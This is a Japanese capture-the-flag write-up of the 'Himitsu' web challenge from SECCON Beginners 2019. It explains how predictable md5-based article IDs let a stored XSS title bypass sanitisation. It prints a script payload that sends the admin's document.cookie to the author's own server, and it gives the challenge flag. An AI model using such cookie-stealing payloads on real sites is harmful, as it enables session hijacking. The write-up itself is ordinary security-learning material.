SECCON beginners 2019 Himitsu writeup

seccon の beginners ctf にチームKUDoSで参加しました.
KUDoSは666チーム中9位でした  チームメンバーに感謝❗
僕はweb問3つ通しました


Himitsu(web) (32/666) solves

f:id:tikicn:20190526015134p:plain

リンクとソースコードが与えられました

ユーザ登録,ログインすると,記事一覧のページになります


  • 記事一覧

f:id:tikicn:20190526014918p:plain


  • 投稿画面

f:id:tikicn:20190526014913p:plain

投稿画面の本文部分に[#記事ID#]を入力すると,その記事の記事名が表示されてリンクされる,と書いてあります


scriptタグ入れてみます

f:id:tikicn:20190526014923p:plain

投稿した記事を管理者に報告できる機能があるようです
しっかりサニタイズされているので,XSSは難しそう

重要そうなソースだけ貼っておきます

schema.sql f:id:tikicn:20190526021520p:plain

adminの記事がflagらしい.

flagを見る方法として,

1,記事IDを知り,直接アクセスする.
2,adminのセッションIDを盗み,adminの記事を見る.

のどちらかと考えました


ArticleMapper.php f:id:tikicn:20190526021258p:plain

記事IDはmd5(ユーザ名+日時+タイトル名)で決まるようです.

ArticleController.php f:id:tikicn:20190526020706p:plain

次に,[#記事ID#]を使って,別記事のタイトルにXSSを仕込みましたが,無理でした.
しかし,先に本文に,[#md5(ユーザ名+3分くらい先の時間+XSSコード)#]を含む記事を作っておき, 後からタイトルがこのXSSコードの記事を作成すれば,これをbypassできます.

タイトルは,<script>location.href="myserver?"+document.cookie</script>
のようにしました.

flag:ctf4b{simple_xss_just_do_it_haha_haha}

4人で得点しましたがcrypt,pwn,miscそれぞれ強い人がいて良い感じにバランスが取れてたと思います
webはもうちょっと頑張りたいですね...(´・_・`)